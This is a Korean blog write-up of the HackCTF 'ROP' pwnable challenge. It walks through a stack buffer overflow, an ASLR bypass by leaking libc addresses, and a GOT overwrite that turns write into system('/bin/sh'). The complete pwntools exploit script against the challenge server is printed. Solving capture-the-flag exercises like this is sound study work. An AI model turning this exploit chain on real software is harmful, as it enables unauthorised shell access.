728x90

HackCTF는 여러 해킹 기법들을 공부할 수 있는 워게임 사이트로 주소는

https://ctf.j0n9hyun.xyz/

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

오늘 풀어볼 문제는 HackCTF에 있는 포너블 분야의 문제로

ROP 문제입니다.

 

해당 문제는 문제 이름처럼 ROP 기법을 사용해야 풀 수 있습니다.

 

ROP 기법 설명과 이번 문제와 매우 유사한 문제 풀이 방식을 다음 사이트에서 공부하였습니다.

https://d4m0n.tistory.com/84

 

ROP (Return Oriented Programming)

ROP(Return Oriented Programming)란? ROP는 NX bit와 ASLR(Address Space Layout Randomize) 같은 메모리 보호 기법을 우회하기 위한 공격 기법으로, RTL(Return-to-libc), RTL Chaining, GOT Overwrite 기법을..

d4m0n.tistory.com


문제 풀이를 그럼 시작해봅시다~!!

ROP 문제

문제 이름이 ROP인 것을 통해서 ROP 기법에 관련된 문제인 것을 추측해볼 수 있다.

 

해당 zip 파일을 다운 받고, IDA Pro로 분석해보자.

 

main 코드

코드는 매우 간단했다. 취약한 함수를 실행시키고 hello world를 출력한다.

 

취약한 함수를 살펴보면,

vulnerable_function

buf의 사이즈는 0x88인데, 그것보다 더 큰 0x100까지 read함수를 통해 입력 받는다.

즉, BOF가 발생할 수 있다.

 

(RTL을 통해서 문제를 풀고 싶었지만, 문제 이름이 ROP인 것처럼 ASLR이 적용되어서 라이브러리 주소가 계속 바뀐다.)

 

코드에서 read와 write 함수만 사용하기 때문에 우리는 read와 write를 활용해서 system 함수를 실행시킬 수 있어야 한다.

 

일반적인 ROP처럼 bss영역에 "/bin/sh"를 작성하고,

system 함수를 실행시키면서 인자로 넘겨주어야 한다.

 

이를 가능하게 하려면 우선, 특정 함수의 실제 주소와 libc_base로부터 격차를 알아내고,

libc_base로부터 system 함수의 격차를 알아내어,

system 함수의 실제 주소를 알아내야 한다.

 

즉,

 

특정 함수의 실제 주소와 libc_base와의 격차, system 함수의 libc_base와의 격차를 통해

----> system 함수 실제 주소

를 얻고,

 

쓸만한 bss 영역 주소 값을 알아내서 "/bin/sh"를 입력하고,

 

system 함수를 "/bin/sh"를 인자로 실행시켜야 한다는 의미이다.

 

이때, read 함수특정 함수에 해당한다.

 

 

이제 어느정도 어떻게 해야할 지 윤곽이 잡혔을 것이다.

 

단계별로 생각해보면,

1단계: wirte 함수를 활용해서 read 함수의 주소를 얻기

 

2단계: read 함수를 사용해, bss 영역에 "/bin/sh" 입력

 

3단계: read함수의 주소와 격차, system 함수의 격차 값을 이용해 실제 system 함수 주소 얻기

 

4단계: read 함수를 사용해, write_got를 system 함수 주소로 덮기

 

5단계: write 함수(실제로는 system 함수가 실행됨)를 실행시키면서 인자로 "/bin/sh" 넘겨주기

 

 

 

우선, read함수와 write 함수를 연속해서 사용하므로 pop-pop-pop-ret gadget이 필요하다.

 

해당 gadget은 

ROPgadget --binary rop | grep 'ret'

 

리눅스 실행 환경에서 명령어를 통해서 얻을 수 있다.

ROPgadget --binary rop grep 'ret' 실행 결과

p3ret gadget 주소 = 0x08048509

 

그리고, "/bin/sh"를 저장할 적당한 공간이 필요한데,

readelf -S rop

명령어를 통해서 얻을 수 있다.

readelf -S rop 실행 결과

bss 영역 주소 = 0x0804a024

 

이를 바탕으로 페이로드를 작성하면 다음과 같다.

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
log.info('read1: 0x%x' %read_got)        # 확인차


write_plt = e.plt['write']
write_got = e.got['write']
write_offset = libc.symbols['write']

system_offset = libc.symbols['system']

p3ret = 0x08048509
bss = 0x0804a024

payload = "a"*140

payload += p32(write_plt)
payload += p32(p3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)


payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

payload += p32(read_plt)
payload += p32(p3ret)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

payload += p32(write_plt)
payload += "a"*4
payload += p32(bss)

p.send(payload)

read_address = u32(p.recv(4))
log.info('read2: 0x%x' %read_address)         # 확인차

p.send("/bin/sh\x00")

system_address = read_address - read_offset + system_offset
log.info('system_address: 0x%x' %system_address)          #확인차
p.send(p32(system_address))                 


p.interactive()

페이로드 해설

우선, read, write의 plt, got 값을 알아내고, libc_base로부터의 각각의 offset도 알아낸다.

system 함수의 libc_base로부터의 offset도 알아낸다.

p3ret과 bss 주소도 변수에 대입한다.

 

read에서 BOF를 일으키기 위해서 140바이트를 더미로 채우고,

 

ret 부분에 write_plt 주소를 넣고 인자로 1, read_got, 4를 넣어 read함수 주소를 알아낸다.

 

이어서(chaining), read 함수를 실행시키는데 인자로 0, bss 주소, 8을 줘서 "/bin/sh"를 입력할 수 있게 한다.

 

이어서(chaining), read 함수를 또 실행시키는데 인자로 0, write_got, 4를 줘서 write_got 값에 system 함수 주소를 입력할 수 있게 하여, GotOverwrite를 일으킨다.

 

이어서(chaining), system함수 주소 값으로 got가 덮인 write함수를 실행시키고 인자로 bss("/bin/sh)를 줘서 권한을 획득한다.

 

system 함수 주소는 다음 과정을 거쳐 구한다.

 

libc_base = read 함수 주소 - libc_base로부터 격차 

system 주소 = libc_base + system함수의 libc_base로부터 격차

 

추가적으로 "/bin/sh\x00" 을 넣은 이유는 뒤에 이상한 값이 읽히는 것을 방지하기 위함이다.

 

 

 

해당 페이로드를 실행시킨 결과 다음과 같이 플래그 값을 얻을 수 있었다.

페이로드 실행 결과

이렇게 문제가 해결된다.

 


부가적으로 이 문제를 풀면서, Got EOF 때문에 오랫동안 삽질을 했는데

 

갓성염님의 도움으로 해결할 수 있었다.

(항상 도움 많이 받아서 너무 고맙습니다 :) )

저번 문제에서는 fgets에서 senline을 사용하지 않아서 발생한 문제였는데,

 

이번 문제에서는 sendline을 사용해서 EOF가 발생하였다. send로 고쳐주니 잘 실행되었다.

 

 

728x90